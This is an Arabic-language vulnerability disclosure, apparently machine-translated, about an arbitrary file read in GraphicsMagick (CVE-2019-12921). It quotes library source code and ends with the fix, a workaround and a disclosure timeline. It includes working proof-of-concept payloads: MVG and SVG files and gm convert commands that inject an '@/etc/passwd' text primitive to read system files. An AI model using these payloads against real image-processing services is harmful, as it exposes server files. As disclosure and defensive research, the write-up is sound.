في عام 2016 ، تسببت ثغرة ImageTragick في ImageMagick في كثير من الضوضاء. كوسيلة للحد من المخاطر ، تم اقتراح استخدام GraphicsMagick ، وهو مفترق مكتبة ImageMagick ، يهدف إلى واجهة برمجة تطبيقات أكثر استقرارًا وإنتاجية. تسمح مشكلة عدم الحصانة الأصلية CVE-2016-3717 ، التي اكتشفها stewie ، للمهاجم بقراءة ملف تعسفي على نظام الملفات باستخدام صورة تم إعدادها خصيصًا. اليوم سأنظر في مشكلة عدم حصانة مماثلة في برنامج GraphicsMagick التي اكتشفتها أثناء تحليل الكود المصدري للمكتبة.
لن يعمل الاستغلال الأصلي من خلال "التسمية" الخاصة بالبروتوكول الزائف من موقع ImageTragick .
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context

السبب هو أن خوارزمية معالجة الصور ImagePrimitive الخاصة بملف render.c ReadImage لا يمكنها معالجة سلسلة التسمية: @ / etc / passwd كصورة وسوف تُرجع خطأ "تعذر فتح الملف". رمز الوظيفة:
#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; }
ومع ذلك ، تظل القدرة على قراءة أي صورة على نظام الملفات ، ولكن يمكن استخدامها فقط لجمع المعلومات الداخلية. يمكن العثور على مثال لتشغيل هذه "الميزة" في تقارير برامج BugBounty ، على سبيل المثال هنا .
هذا قادني إلى دراسة بالتفصيل تنفيذ برنامج الترميز Label في GraphicsMagick. للقيام بذلك ، نقوم بإجراء التحويل:
$ gm convert label:@etc/passwd output.png
تقوم المكتبة بإرجاع السطر الأول من الملف / etc / passwd ، مما يعني أن البروتوكول الزائف لا يزال ضعيفًا ، لكن في معظم الحالات لا يكون مناسبًا للمهاجمين ، حيث لا توجد إمكانية للتأثير على سطر الأوامر. لفهم كيف يمكنك استغلال هذه "الميزة" ، دعونا نلقي نظرة على الأسباب. يحول البروتوكول الزائف التسمية سلسلة باستخدام دالة TranslateTextEx:
text=(char *) formatted_text; if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); }
تقبل الدالة معلمة الإدخال formatted_text وإذا كان السطر يبدأ بالحرف الخاص '@' ، فسينظر GM إلى السطر الآخر على أنه المسار الكامل للملف الذي من الضروري قراءة محتويات التحويل منه. لنلقِ نظرة على الأماكن الأخرى التي تُستخدم فيها هذه الوظيفة ، والتي يمكن استغلالها بواسطة المهاجم.
- /coders/msl.c عبارة عن عدد وافر من التكرارات ، لكن جنرال موتورز تستخدم هذه اللغة كلغة نصية للأمر conjure ولن يتم أخذها في الاعتبار في هذه المقالة. العملية ممكنة ، ولكنها ستتطلب منطقًا محددًا للتطبيق
/magick/attribute.c معالجة سمات الصور. يتم استدعاء وظيفة TranslateText لسمات التعليق والتسمية عندما يتم تمريرها مباشرة من قبل المستخدم ، بدلاً من تخزينها في الصورة نفسها. ترك المطور لنا نصيحة صغيرة:
Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.
ولكن ماذا يحدث إذا تم تنفيذ المعالجة بواسطة وظيفة SetImageAttribute للصورة بعد علامة tog ، يتم إغلاق النقطة. اتضح أن هناك مثل هذا الترميز - SVG. سلسلة المكالمات إلى الدالة ReadSVGImage هي كما يلي:
- محلل XML يغلق
- CloseBlob (صورة) يغلق النقطة
- مفوض MVG ينفذ التحويل
- SetImageAttribute (صورة ، "تعليق" ، svg_info.comment) ستتم كتابة سمات التعليق والعنوان على الصورة.
للاستغلال الناجح ، يحتاج المهاجم إلى التنسيق النهائي لدعم هذه السمات ، على سبيل المثال GIF و JPEG.
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg>
$ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg

- يعد /magick/annotate.c ما يلي خيارًا جيدًا لاستغلال وظيفة AnnotateImage المستخدمة:
- يشبه /coders/txt.c بروتوكول TXT لبروتوكولات Lablel المزيفة: وهو أمر ليس له أهمية خاصة ، نظرًا لأن تشغيله يتطلب الوصول إلى سطر الأوامر.
- /magick/render.c وهنا نصل إلى استغلالنا النهائي للنص Magick Vector Graphics البدائي ، والذي يحتوي على صيغة بسيطة إلى حد ما:
text "text"
العملية الناجحة ممكنة إذا بدأ الخط بالحرف الخاص '@'.
$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png
هذه الطريقة نادرة للغاية في تطبيق حقيقي ، ولكن هناك طريقة لاستغلال هذه الثغرة الأمنية باستخدام المفوضين. المفوض هو معالج صور خارجي لا تدعم المكتبة تنسيقه. هناك عدد من برامج الترميز التي يتم تحويلها إلى ملف مؤقت ويتم إجراء مزيد من المعالجة بواسطة البروتوكول الزائف MVG. كما ذكر سابقًا ، يكون برنامج الترميز هذا هو SVG.
عملية CVE-2019-12921
صورة XML Parser SVG تحول الترميز إلى ملف وسيط:
FormatString(clone_info->filename,”mvg:%.1024s",filename);
يحتوي تحويل img tag على الكود التالي:
case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; }
للاستغلال ، نحتاج إلى كسر سياق السلسلة بعلامة اقتباس معتادة وإضافة استغلالنا:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg>
$ gm convert exploit.svg output.png
سيتم تشغيل برامج الترميز الأخرى التي تستخدم مفوض MVG وفقًا لتقدير القارئ.
حماية
يتوفر إصدار محدث من GM على موقع الشركة المصنعة. إصلاح يزيل دعم الملفات باستخدام الرمز @ الخاص في الوقت الحالي ، Mercurial Chanets 16037: f780c290b4ab و 16038: 44e3d0e872eb لوظيفة TranslateTextEx. وفقا للمطورين ، في المستقبل ، سيتم إرجاع هذا المنطق في تنفيذ أكثر أمنا. كحل مؤقت ، تنصح باستخدام متغير البيئة MAGICK_CODER_STABILITY = PRIMARY
جدول زمني
تم نقل معلومات حول مشكلة عدم الحصانة إلى المطور في 6 يونيو 2019 ، تم إصدار إصلاح عاجل في وقت لاحق من ذلك اليوم. في 15 يونيو 2019 ، تم نشر خطاب إعلامي على www.openwall.com . في 20 يونيو 2019 ، تم تعيين CVE-2019-12921 لهذه المشكلة.